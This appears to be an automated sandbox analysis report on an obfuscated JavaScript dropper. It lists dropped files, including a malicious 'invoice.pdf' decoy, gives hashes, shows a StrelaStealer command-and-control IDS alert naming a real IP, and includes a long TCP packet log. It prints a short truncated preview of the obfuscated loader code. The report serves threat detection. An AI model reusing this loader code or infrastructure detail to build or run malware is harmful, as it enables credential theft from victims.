Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\c6ed48b8-4baf-4ad8-abf2-4d2c153feb47.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (14605), with CRLF line terminators
Entropy (8bit):	4.9170149080841155
TrID:
File name:	3000822141700718957.js
File size:	18'145 bytes
MD5:	6f437e527308b826f61650bcf434030b
SHA1:	b1020e93dcac2119637c2f035c73f8160e9b3588
SHA256:	165087e9c314d7e08f02d6c84a037a342fb88fc1980c7727a061a650e4c89e8e
SHA512:	f2ab1d5d48baacf316fa580eb119caad645e637d494086116f0f8725cde2698293afa96c0ea829117cea6018d2ecc6eefe5d1907d6abbaac521c70d993f4eaf2
SSDEEP:	384:tijRudcfcQocQMbIwEIEGDYdxq0v+49kF:ti1uuIvpjq02+kF
TLSH:	E38266680D45833F9AD176E89158083399BC0609C81756880D73FAAA573ABF4FDFE6F1
File Content Preview:	function jehtwi(){ruoghhs=[1031,3079,5127,4103,2055,3072];var kkmdoaktl=this[qiftjqyhu+nettblg+dcvvuwuwt+txtuk+hwcbguc+aeubcbw+ycfecvt+ygdvnhv](this[qvjaqwsn+oczfp+cddsof+dcvvuwuwt+ycjolzgir+qiftjqyhu+ygdvnhv][jlsdkhbwl+dcvvuwuwt+hwcbguc+nettblg+ygdvnhv+h

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T08:05:41.992207+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49704	193.143.1.205	80	TCP
2025-01-11T08:05:41.992207+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.8	49704	193.143.1.205	80	TCP
2025-01-11T08:05:45.161828+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:05:41.162412882 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:41.167345047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:41.167448997 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:41.170809031 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:41.175627947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:41.992085934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:41.992157936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:41.992192030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:41.992207050 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:41.992244005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:41.992278099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:41.992292881 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:41.992311001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:41.992343903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:41.992377996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:41.992381096 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:41.992410898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:41.992445946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:41.992449999 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:41.992501974 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:41.997302055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.036818981 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.050020933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.050054073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.050121069 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.116112947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.116146088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.116218090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.116250992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.116282940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.116332054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.116417885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.116417885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.116417885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.116806030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.116835117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.116981030 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.117022991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.117074013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.117106915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.117120028 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.117141008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.117175102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.117187977 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.117944956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.117995977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.118000984 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.118030071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.118062019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.118093967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.118103981 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.118179083 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.118796110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.118829966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.118863106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.118941069 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.126421928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.126456022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.126491070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.126516104 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.126553059 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.140511990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.193121910 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.217585087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.217678070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.217714071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.217761040 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.240010977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.240066051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.240101099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.240128994 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.240134001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.240169048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.240200996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.240221024 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.240221024 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.240236998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.240387917 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.240449905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.240483046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.240535021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.240566969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.240600109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.240614891 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.240614891 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.240648031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.240683079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.240734100 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.241405010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.241453886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.241488934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.241507053 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.241520882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.241545916 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.241554976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.241585970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.241620064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.241657972 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.241657972 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.242358923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.242409945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.242444038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.242461920 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.242476940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.242510080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.242532969 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.242542982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.242578030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.242635012 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.243305922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.243370056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.243372917 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.243406057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.243438959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.243470907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.243503094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.243505955 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.243524075 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.243537903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.243597984 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.244232893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.244282007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.244317055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.244348049 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.244349003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.244383097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.244400978 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.244417906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.244469881 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.308159113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.308202982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.308357000 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.340890884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.340955973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.340986013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.341017962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.341037035 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.341093063 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.341306925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.341340065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.341372013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.341447115 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.363152027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.363183975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.363253117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.363281012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.363374949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.363403082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.363403082 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.363403082 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.363471031 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.363512993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.363544941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.363576889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.363580942 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.363626957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.363652945 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.363658905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.363692999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.363727093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.363761902 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.363761902 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.364515066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.364547968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.364582062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.364602089 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.364831924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.364875078 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.364890099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.364923954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.364959002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.364991903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.365021944 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.365022898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.365035057 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.365056992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.365139961 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.365807056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.365854979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.365888119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.365920067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.365921974 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.365953922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.365987062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.366019964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.366030931 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.366030931 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.366739988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.366772890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.366822958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.366854906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.366859913 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.366859913 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.366888046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.366920948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.366931915 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.366954088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.366990089 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.367676973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.367711067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.367759943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.367764950 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.367795944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.367835999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.367857933 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.367866993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.367902994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.368020058 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.368630886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.368680000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.368715048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.368720055 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.368746996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.368776083 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.368779898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.368812084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.368845940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.368948936 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.369611025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.369659901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.369693041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.369705915 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.369705915 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.369724989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.369759083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.369817019 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.398785114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.398811102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.398828030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.398844957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.398897886 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.398946047 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.431441069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.431704998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.431739092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.431772947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.431797981 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.431807041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.431840897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.431895018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.431909084 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.431909084 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.431927919 CET	80	49704	193.143.1.205	192.168.2.8
